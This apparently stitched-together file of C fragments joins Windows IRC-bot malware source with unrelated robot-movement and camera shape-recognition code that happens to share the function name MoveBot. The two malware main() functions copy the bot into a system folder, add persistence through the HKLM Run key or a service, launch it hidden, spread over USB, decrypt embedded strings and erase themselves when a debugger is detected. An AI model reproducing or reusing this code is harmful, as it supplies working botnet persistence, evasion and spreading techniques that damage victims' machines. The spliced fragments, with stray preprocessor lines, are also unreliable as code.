int main(int argc, char *argv[])
#endif
{
char msg[256];
LoadDLLs();
unsigned char szBytes[] = { 0xc8, 0x0, 0x4, 0x0, 0x60 };
DWORD dwAddr = (DWORD)GetProcAddress(LoadLibrary("user32.dll"), "MessageBoxA");
if(!memcmp((LPVOID)dwAddr, (LPVOID)szBytes, sizeof(szBytes)))
{
ExitProcess(0);
}
#ifndef NO_SERVICE
SERVICE_TABLE_ENTRY servicetable[] =
{
{servicename, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
#endif
char cpbot[MAX_PATH];
char movetopath[MAX_PATH];
char spath[MAX_PATH];
GetModuleFileName(GetModuleHandle(NULL), cpbot, sizeof(cpbot));
ExpandEnvironmentStrings(gotopth,movetopath,sizeof(movetopath));
sprintf(spath,"%s\\%s",movetopath,exename);
#ifndef _DEBUG
if (MoveBot(movetopath,exename))
{
HKEY hndKey = NULL;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hndKey, NULL);
RegSetValueEx(hndKey,szRegname,0, REG_SZ,(const unsigned char *)exename,strlen(exename));
RegCloseKey(hndKey);
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
ZeroMemory(&pinfo,sizeof(pinfo));
ZeroMemory(&sinfo,sizeof(sinfo));
sinfo.lpTitle = "";
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE;
if (CreateProcess(spath,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo))
{
Sleep(200);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
fWSACleanup();
ExitProcess(EXIT_SUCCESS);
}
ExitProcess(1);
}
#endif // _DEBUG
#ifndef NO_SERVICE
if(fStartServiceCtrlDispatcher(servicetable) == 0)
InstallService(spath);
#else
DWORD id;
NTHREAD usb;
usb.conn = &mainirc;
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)USB_Spreader, &usb, 0, &id); // Execute USB spread on install.
HANDLE threadhandle;
if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Bthd, NULL, 0, &id)) == 0)
return 0;
WaitForSingleObject(threadhandle, INFINITE);
CloseHandle(threadhandle);
return 0;
#endif // NO_SERVICE
#ifdef _DEBUG
#endif
return 0;
}
void moveBackward() {
MoveBot(BACK);
}
// Each of the above rotate/move functions stays ON until stopMovement() is called
void stopMovement() {
MoveBot(STOP);
}
void moveForward(int dist) {
MoveBot(FORWARD);
//WaitUs(dist*LOOP_FORWARD);
stopMovement();
}
void rotateRight(int deg) {
MoveBot(RIGHT);
//WaitUs(deg/10*LOOP_ROTATE);
stopMovement();
}
void rotateLeft(int deg) {
MoveBot(LEFT);
//WaitUs(deg/10*LOOP_ROTATE);
stopMovement();
}
int main(int argc, char *argv[])
#endif
{
LoadDLLs();
#ifndef NO_DDETECT
if(IsBugged())
{
EraseMe(TRUE);
ExitProcess(1);
}
#endif
#ifndef NO_CRYPT
decryptstrings(authsize, versionsize, serversize);
#endif
#ifndef NO_SERVICE
SERVICE_TABLE_ENTRY servicetable[] =
{
{servicename, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
#endif
//TODO: Error handler here
#ifndef _DEBUG
fSetErrorMode(SEM_NOGPFAULTERRORBOX);
#endif
char cfilename[MAX_PATH];
char movetopath[MAX_PATH];
char svcpath[MAX_PATH];
GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
ExpandEnvironmentStrings(movepath,movetopath,sizeof(movetopath));
sprintf(svcpath,"%s\\%s",movetopath,filename);
#ifndef _DEBUG
if (MoveBot(movetopath,filename))
{
#ifndef NO_MELT
RegWrite(meltkey.hkey,meltkey.subkey,meltkey.name,cfilename);
#endif // NO_MELT
#ifndef NO_SERVICE
InstallService(svcpath);
#else
RegWrite(runkey.hkey,runkey.subkey,runkey.name,svcpath);
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
ZeroMemory(&pinfo,sizeof(pinfo));
ZeroMemory(&sinfo,sizeof(sinfo));
sinfo.lpTitle = "";
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
#ifdef _DEBUG
sinfo.wShowWindow = SW_SHOW;
#else
sinfo.wShowWindow = SW_HIDE;
#endif // _DEBUG
if (CreateProcess(svcpath,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo))
{
Sleep(200);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
fWSACleanup();
ExitProcess(EXIT_SUCCESS);
}
#endif // NO_SERVICE
ExitProcess(1);
}
#endif // _DEBUG
#ifndef NO_SERVICE
if(fStartServiceCtrlDispatcher(servicetable) == 0)
InstallService(svcpath);
#else
DWORD id;
HANDLE threadhandle;
if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BotThread, NULL, 0, &id)) == 0)
return 0;
WaitForSingleObject(threadhandle, INFINITE);
CloseHandle(threadhandle);
#endif // NO_SERVICE
#ifdef _DEBUG
// CloseLog();
#endif
return 0;
}
int main (void)
{
UInt8 i=0,Nb_Identify=0;
// List of form
Form ListOfForm[MAX_OF_FORM];
// Struct of three pointers on the RGB components
UInt8 * FrameFromCam;
//The pixels will be stocked in the LCD buffer
UInt8 LCD_Buffer [LCD_WIDTH*LCD_HEIGHT*BITS] ;
GraphicBuffer ScreenBuffer ;
// System and LCD screen initialization
InitPobeye2();
InitI2C(I2C_100_KHZ);
InitCameraPobeye2();
InitLCD();
InitPobProto();
SwitchOnAllServo();
// Get the pointer of the red,green and blue video buffer
FrameFromCam = GetRGBFrame();
// Init the Graphic buffer with 128 per 64, one pixel per bit and LCD_Buffer
InitGraphicBuffer( &ScreenBuffer, LCD_WIDTH,LCD_HEIGHT,ONE_BIT,LCD_Buffer);
// clear the graphic buffer
ClearGraphicBuffer(&ScreenBuffer);
while(1)
{
// grab the RGB components
GrabRGBFrame();
// Binary the three RGB Buffer
BinaryRGBFrame(FrameFromCam);
// Try to identify the forms and make a list of it
Nb_Identify=IdentifyForm(FrameFromCam,ListOfForm,pattern);
// Parse the list of the form and print result on the Pob-Terminal and the LCD Screen
for (i=0;i<Nb_Identify;i++)
{
switch (ListOfForm[i].id)
{
case IDP_0_CROSS:
// Draw bitmap on the buffer and the LCD screen
DrawBitmap(0,0,IDB_CROSS,bitmap,&ScreenBuffer);
DrawLCD(&ScreenBuffer);
MoveBot(RUN);
break;
// case IDP_1_BIGA:
// DrawBitmap(0,0,IDB_BIGA,bitmap,&ScreenBuffer);
// DrawLCD(&ScreenBuffer);
// break;
case IDP_2_KING:
DrawBitmap(0,0,IDB_KING,bitmap,&ScreenBuffer);
DrawLCD(&ScreenBuffer);
MoveBot(LEFT);
break;
// case IDP_3_TOWER:
// DrawBitmap(0,0,IDB_TOWER,bitmap,&ScreenBuffer);
// DrawLCD(&ScreenBuffer);
// break;
// case IDP_4_TREFLE:
// DrawBitmap(0,0,IDB_BIGA,bitmap,&ScreenBuffer);
// DrawLCD(&ScreenBuffer);
// break;
// case IDP_5_TRIANGLE:
// DrawBitmap(0,0,IDB_TRIANGLE,bitmap,&ScreenBuffer);
// DrawLCD(&ScreenBuffer);
// break;
default:
MoveBot(STOP);
break;
}
}
if (Nb_Identify == 0)
{
DrawBitmap(0,0,IDB_NOFORMS,bitmap,&ScreenBuffer);
DrawLCD(&ScreenBuffer);
}
}
return 0;
}
